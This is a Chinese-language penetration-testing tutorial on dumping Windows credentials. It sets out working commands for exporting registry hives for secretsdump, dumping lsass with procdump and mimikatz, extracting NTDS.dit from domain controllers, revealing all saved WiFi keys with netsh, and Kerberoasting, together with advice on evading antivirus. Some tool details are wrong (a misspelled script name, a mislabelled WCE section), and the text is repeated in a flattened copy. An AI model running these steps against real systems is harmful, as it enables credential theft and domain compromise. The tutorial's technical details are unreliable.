内网渗透-获取明文和hash
字数 1121 2025-08-09 13:33:47

内网渗透中获取明文密码和Hash的全面指南

1. 利用secretsdump获取明文密码

SAM简介

  • SAM(安全账户管理器)是Windows系统中存储用户密码的数据库文件
  • 存储的是经过算法处理的Hash值,包括LM Hash(已废弃)和NTLM Hash(32位字母数字组成)
  • 现代系统使用NTLM Hash形式保存凭证,并使用SYSKEY加密

操作步骤

  1. 使用注册表命令导出关键文件:

    reg save hklm\sam C:\sam.save
    reg save hklm\security C:\security.save
    reg save hklm\system C:\system.save
    
  2. 将文件拷贝到本地分析环境

  3. 使用impacket的secretsdump脚本解析:

    secretsdumps.py -sam sam.save -security security.save -system system.save LOCAL
    

优势:无需在目标主机上传文件,绕过防护软件

2. 利用Procdump+mimikatz获取Hash与明文

操作流程

  1. 使用微软官方工具Procdump导出lsass.exe内存:

    procdump -accepteula -ma lsass.exe lsass.dmp
    
  2. 将lsass.dmp导出到本地

  3. 使用mimikatz解析:

    privilege::debug
    sekurlsa::minidump lsass.dmp
    sekurlsa::logonPasswords full
    

优势:Procdump是微软官方工具,不易被杀软检测

3. NTDS.dit获取域控Hash

关键概念

  • NTDS.dit包含域中所有账号密码的Hash
  • 获取该文件相当于获得整个域权限

操作步骤

  1. 手动导出NTDS.dit和System文件:

    ntdsutil "ac i ntds" ifm "create full c:\users\tmp" q q
    
  2. 使用NTDSDumpEx提取Hash:

    NTDSDumpEx -d ntds.dit -s system -o domain.txt
    

注意:此方法仅对域控制器(DC)有效

4. 利用系统命令获取WIFI密码

单WIFI密码获取

netsh wlan show profile name="WIFI名称" key=clear

获取所有连接过的WIFI密码

for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear

优势:使用系统自带命令,无杀软风险

5. 利用WCE获取Hash

Quarks PwDump使用

  • 本地Hash获取:

    QuarksPwDump -dhl
    
  • 域内Hash获取:

    QuarksPwDump -dhdc
    

注意:需要PowerShell环境,可能被杀软检测

6. 利用kerberoast+mimikatz获取明文密码

SPN概念

  • 服务主体名(SPN)是Kerberos身份验证网络中服务的唯一标识符
  • 每个使用Kerberos的服务都需要注册SPN

操作步骤

  1. 查看域内SPN:

    setspn -T 域名 -Q */*
    

    或查找特定服务:

    Setspn -q */* | findstr "MSSQL"
    
  2. 使用mimikatz导出票据:

    kerberos::list /export
    
  3. 使用kerberoast工具爆破密码

缺点

  1. 需要PowerShell环境
  2. mimikatz容易被杀软检测

总结与注意事项

  1. 工具选择原则

    • 优先使用系统自带命令(reg, netsh等)
    • 次选微软官方工具(如Procdump)
    • 最后考虑第三方工具(mimikatz等)
  2. 免杀策略

    • 尽量在本地分析导出文件
    • 避免在目标机直接运行敏感工具
    • 使用合法签名工具(如微软官方工具)
  3. 域渗透重点

    • NTDS.dit是域渗透的核心目标
    • SPN扫描可发现重要服务主机
  4. 环境要求

    • 部分工具需要Python环境(secretsdump, kerberoast)
    • 注意工具版本(32/64位)
  5. 法律与道德

    • 所有技术仅用于合法授权测试
    • 未经授权使用这些技术可能违法
内网渗透中获取明文密码和Hash的全面指南 1. 利用secretsdump获取明文密码 SAM简介 SAM(安全账户管理器)是Windows系统中存储用户密码的数据库文件 存储的是经过算法处理的Hash值,包括LM Hash(已废弃)和NTLM Hash(32位字母数字组成) 现代系统使用NTLM Hash形式保存凭证,并使用SYSKEY加密 操作步骤 使用注册表命令导出关键文件: 将文件拷贝到本地分析环境 使用impacket的secretsdump脚本解析: 优势 :无需在目标主机上传文件,绕过防护软件 2. 利用Procdump+mimikatz获取Hash与明文 操作流程 使用微软官方工具Procdump导出lsass.exe内存: 将lsass.dmp导出到本地 使用mimikatz解析: 优势 :Procdump是微软官方工具,不易被杀软检测 3. NTDS.dit获取域控Hash 关键概念 NTDS.dit包含域中所有账号密码的Hash 获取该文件相当于获得整个域权限 操作步骤 手动导出NTDS.dit和System文件: 使用NTDSDumpEx提取Hash: 注意 :此方法仅对域控制器(DC)有效 4. 利用系统命令获取WIFI密码 单WIFI密码获取 获取所有连接过的WIFI密码 优势 :使用系统自带命令,无杀软风险 5. 利用WCE获取Hash Quarks PwDump使用 本地Hash获取: 域内Hash获取: 注意 :需要PowerShell环境,可能被杀软检测 6. 利用kerberoast+mimikatz获取明文密码 SPN概念 服务主体名(SPN)是Kerberos身份验证网络中服务的唯一标识符 每个使用Kerberos的服务都需要注册SPN 操作步骤 查看域内SPN: 或查找特定服务: 使用mimikatz导出票据: 使用kerberoast工具爆破密码 缺点 : 需要PowerShell环境 mimikatz容易被杀软检测 总结与注意事项 工具选择原则 : 优先使用系统自带命令(reg, netsh等) 次选微软官方工具(如Procdump) 最后考虑第三方工具(mimikatz等) 免杀策略 : 尽量在本地分析导出文件 避免在目标机直接运行敏感工具 使用合法签名工具(如微软官方工具) 域渗透重点 : NTDS.dit是域渗透的核心目标 SPN扫描可发现重要服务主机 环境要求 : 部分工具需要Python环境(secretsdump, kerberoast) 注意工具版本(32/64位) 法律与道德 : 所有技术仅用于合法授权测试 未经授权使用这些技术可能违法